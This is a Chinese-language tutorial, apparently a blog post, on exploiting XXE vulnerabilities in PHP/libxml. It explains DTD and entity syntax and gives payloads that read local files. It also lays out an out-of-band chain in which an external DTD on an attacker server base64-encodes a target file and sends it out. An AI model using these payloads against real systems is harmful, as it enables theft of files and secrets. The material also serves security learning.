利用数据格式造成攻击
运维人员使用了低版本php,libxml低于2.9.1就会造成XXE或者程序员设置了libxml_disable_entity_loader(FALSE);
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
(即参数有没有过滤)
libxml是否小于2.9.1(不管libxml_disable_entity_loader选项怎么样都直接可以用)
或者libxml_disable_entity_loader选项设置成了False。(高版本默认是true用不了,如果大意设置为了flase那么依然可以用)
注意编码主要针对无回显
找xxe:带参数的地方,看accept的头有没有application/xhtml+xml即有没有xml格式的提交数据;支持xml就开始测参数(就像注入一样带入语句脚本),直接POST包下面交数据代码
<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://1.txt"> ]> <x>&f;</x>
file:///home/ctf/flag.txt">
]>
<x>&f;</x>
Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。
首先了解下基本的PAYLOAD结构,然后再介绍每部分涉及的知识点,如下PAYLOAD开头进行了XML的声明,然后使用DTD声明实体(这里使用了file协议),最后使用XML获取实体的数据。
基本的PAYLOAD结构:
中间部分就是DTD部分,两头是xml代码
DTD 引用方式(简要了解):
<!DOCTYPE 根元素 [元素声明]>
2. DTD 外部引用
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">
3. 引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
举例:
<?xml version="1.0"?> <!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN" "http://mybatis.org/dtd/mybatis-3-config.dtd"> ...... 命名方法:以!DOCTYPE开始,configuration是文档根元素名称; PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织; DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号; EN表示DTD语言是英语;最后是DTD的URL;
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
<!ENTITY 实体名称 "实体的值">
一个实体由三部分构成:&符号, 实体名称, 分号 (?,这里&不论在GET还是在POST中都需要进行URL编码(地址栏的话,浏览器默认URL编码了),因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe "This is a text">]> <foo>&xxe;</foo>
- 1
- 2
- 3
<!ENTITY 实体名称 SYSTEM "URI/URL">
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <foo>&xxe;</foo>
- 1
- 2
- 3
<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://192.168.18.23/xxe/evil.dtd" > %xxe;]> <foo>&evil;</foo>
- 1
- 2
- 3
- 4
外部evil.dtd中的内容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
- 1
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
实例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe PUBLIC "public_ID" "http://192.168.18.23/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
实体主要分为一下四类:
参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。
举例:
* 内部实体
<!ENTITY 实体名称 "实体的值">
<!ENTITY 实体名称 SYSTEM "URI/URL">
<!ENTITY % 实体名称 "实体内容">
或者
<!ENTITY % 实体名称 "URI">
注意:参数实体是在DTD中被引用的,而其余实体是在xml文档中被引用的。
调用外部实体就是为了绕开设置的防止回显
可以用下面的两种方式:(直接使用外部实体调用file://函数去读取本地文件,或者建立dtd文件进行远程协议调用文件。)
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://192.168.18.23/xxe/evil2.dtd" >
%xxe;]>
<foo>&evil;</foo>
其中外部链接的evil.dtd中内容为:(这里攻击服务器地址为:192.168.18.70:86)
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
建立一个dtd文件,在远程服务器上放入dtd文件,利用以后如果无报错就需要查看数据日志文件信息,可以看到base64编码后的数据。
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)192.168.18.23。
攻击的payload如下:
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://192.168.18.23/xxe/xxe2/test.dtd"> %remote;%int;%send; ]>
- 1
- 2
- 3
- 4
test.dtd的文件内容如下:读取的文件内容进行了base64编码
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windwos/win.ini"> <!ENTITY % int "<!ENTITY &37; send SYSTEM 'http://192.168.18.23?p=%file;'>">
- 1
- 2
实际效果如下:
注意:无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。(这是得知道目标日志存储的位置)
我们清楚第看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法),不编码会报错。
我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码
%
),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
网站声明:如果转载,请联系本站管理员。否则一切后果自行承担。
加入交流群
请使用微信扫一扫!